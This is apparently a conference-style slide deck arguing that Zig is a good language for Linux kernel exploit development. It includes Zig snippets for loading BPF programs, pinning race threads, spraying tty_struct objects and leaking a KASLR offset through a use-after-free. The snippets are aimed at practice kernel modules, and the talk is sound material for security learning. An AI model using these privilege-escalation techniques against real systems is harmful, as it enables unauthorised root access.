Zig is great for exploit dev, actually

August 14, 2025 @ Recurse Center

George Huebner

“Zig is a general-purpose programming language and toolchain for maintaining **robust**, **optimal** and **reusable** software.”

Zig as a language for writing EVIL software

Context

Writing malicious userspace programs to illegimately attain root on Linux machines

Hard requirements:

- Ability to interface with userland Linux features (e.g. userfaultfd, FUSE)
- Multithreading (not necessarily pthreads)
- Small binary sizes

Nice to haves:

- Fast feedback loop
- Expressiveness/programmer productivity
- Cross compilation
- Good low level support (e.g. bit twiddling)

Contenders

Scripting languages are out

```
$ python3
sh: python3: not found
```

	C	C++	Zig	Rust	Odin*	Nim*
Linux support	✓	No	✓	✓	~	~
Multithreading	✓	No	✓	✓	✓	✓
Binary sizes	✓	Oh	✓	~	✓	✓
DX	✗	God	✓	~	?	?
Cross compilation	~	please	✓	✓	~	~
Bit twiddling	✓	no	✓	~	✓	✓

Interfacing with Linux features

```
const insns = [_]BPF.Insn{
    BPF.Insn.st(.double_word, .r10, -0x8, 1),
    BPF.Insn.st(.double_word, .r10, -0x10, 0x1337),
    BPF.Insn.ld_map_fd1(.r1, mapfd),
    BPF.Insn.ld_map_fd2(mapfd),

    BPF.Insn.mov(.r2, .r10),
    BPF.Insn.add(.r2, -0x8),
    BPF.Insn.mov(.r3, .r2),
    BPF.Insn.add(.r3, -0x8),
    BPF.Insn.mov(.r4, 0),
    BPF.Insn.call(.map_update_elem),

    BPF.Insn.mov(.r0, 0),
    BPF.Insn.exit(),
};

var verifier_log: [0x10000]u8 = undefined;
var log = BPF.Log{ .buf = &verifier_log, .level = 2 };
errdefer std.log.err("BPF Verifier output:\n{s}", .{std.mem.sliceTo(&verifier_log, 0)});
const progfd = try BPF.prog_load(BPF.ProgType.socket_filter, &insns, &log, "GPL v2", 0, 0);
```

Some sharp edges with `@cImport("fuse.h")`; had to `zig translate-c $(pkg-config fuse --libs --cflags) > fuse29.zig` and manually fixup

Multithreading

```
const c = @cImport({
    @cDefine("_GNU_SOURCE", {});
    @cInclude("pthread.h");
});

fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
    var cpu = std.bit_set.ArrayBitSet(
      usize,
      std.os.linux.CPU_SETSIZE*@sizeOf(usize)
    ).initEmpty();
    cpu.set(core);

    const err = c.pthread_setaffinity_np(
      @ptrCast(thread),
      @sizeOf(std.posix.cpu_set_t),
      @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks)))
    );
    switch (@as(std.posix.E, @enumFromInt(err))) {
        .SUCCESS => return,
        .FAULT => unreachable,
        .INVAL => return error.InvalidArgument,
        .SRCH => return error.ProcessNotFound,
        else => |e| return std.posix.unexpectedErrno(e),
    }
}
```

Multithreading

```
var minion_sync = std.Thread.ResetEvent{};
var master_sync = std.Thread.ResetEvent{};
var t1 = try std.Thread.spawn(.{}, race_master, .{&minion_sync, &master_sync});
var t2 = try std.Thread.spawn(.{}, race_minion, .{&minion_sync, &master_sync});
try pinThreadToCore(t1.getHandle(), 0);
try pinThreadToCore(t2.getHandle(), 1);
t1.join();
t2.join();

// ...

{
    while (true) {
        std.Thread.sleep(2);
        if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |mfd| {
            minion_sync.wait();
            minion_sync.reset();
            if (minion_fd) |_| {
                master_fd = mfd;
                master_sync.set();
                break;
            }
            std.posix.close(mfd);
        } else |err| switch (err) {
            error.DeviceBusy => {
                minion_sync.wait();
                minion_sync.reset();
            },
            else => unreachable,
        }
        master_sync.set(); // resume execution of minion
    }
}
```

Small binary sizes

Pure Zig program: 2.8M

- With `-O ReleaseSmall` (I think this implies `-fstrip`): **12K**(!)

Program with musl libc + libpthread + libdl + libfuse: 3.7M

- With `-Doptimize=ReleaseSmall`: 3.0M
- With `upx`: **875K**

Developer experience

~~**Tight feedback loop**~~

```
$ hyperfine --warmup 1 -r 10 "x86_64-unknown-linux-musl-gcc test.c -static" "zig
build"
Benchmark 1: x86_64-unknown-linux-musl-gcc test.c -static
  Time (mean ± σ):      78.5 ms ±   0.9 ms    [User: 45.9 ms, System: 27.6 ms]
  Range (min … max):    77.0 ms …  79.8 ms    10 runs

Benchmark 2: zig build
  Time (mean ± σ):     155.4 ms ±   2.0 ms    [User: 65.5 ms, System: 81.9 ms]
  Range (min … max):   152.8 ms … 158.3 ms    10 runs

Summary
  x86_64-unknown-linux-musl-gcc test.c -static ran
    1.98 ± 0.03 times faster than zig build
```

(This is with caching, measured a **10.71 ± 0.33** difference without)

(I am using LLVM backend)

Developer experience

Build scripts `build.zig` is so much better than a `Makefile` it's not even funny.

Compiler errors

```
main.zig:358:27: error: use of undeclared identifier 'r10'
        BPF.Insn.mov(.r2, r10),
                          ^~~
main.zig:364:24: error: enum 'os.linux.bpf.Helper' has no member named 'get_task_struct'
        BPF.Insn.call(.get_task_struct),
                       ~^~~~~~~~~~~~~~~
main.zig:369:58: error: expected type 'u32', found 'u64'
        BPF.Insn.ld_dw1(.r4, @as(u32, 0x00000000ffffffff & MODPROBE_PATH)),
                                      ~~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~
main.zig:369:58: note: unsigned 32-bit int cannot represent all possible unsigned 64-bit values

main.zig:370:29: error: invalid builtin function: '@bitcast'
            .imm = @as(i32, @bitcast(@as(u32, @truncate(0xffffffff81000000)))),
                            ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

Cross compilation

Unparalleled in this category (even by Rust), and eats C's lunch!

```
zig build-exe -target x86_64-linux-musl
```

That's it!

Language expressiveness/support for systems

```
const tty_struct = extern struct {
    const ld_semaphore = extern struct {
        const list_head = extern struct {
            next: usize = 0xdeadbeefdeadbeef,
            prev: usize = 0xcafebabecafebabe,
        };
        // ...
    };

    magic: i32 = 0x5401,
    // ...
    ldisc_sem: ld_semaphore = .{},
};

// ...

{
    const kaslr_offset = blk: {
        defer for (ttys) |tty| std.posix.close(tty);
        id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
        uaf_type = .AAR;
        _ = try fleckvieh.ioctl(fd, .GET, faultable_pages[0..0x20], id);

        const ptmx_fops_addr: u64 = 0xffffffff81c3c3c0;
        break :blk std.mem.bytesAsValue(u64, faultable_pages[@offsetOf(tty_struct, "ops")..][0..@sizeOf(@FieldType(tty_struct, "ops"))]).* -
ptmx_fops_addr;
    };
    adjust_offsets(kaslr_offset);
    std.log.info("Kernel base @ 0x{x}", .{0xffffffff81000000+kaslr_offset});
}
```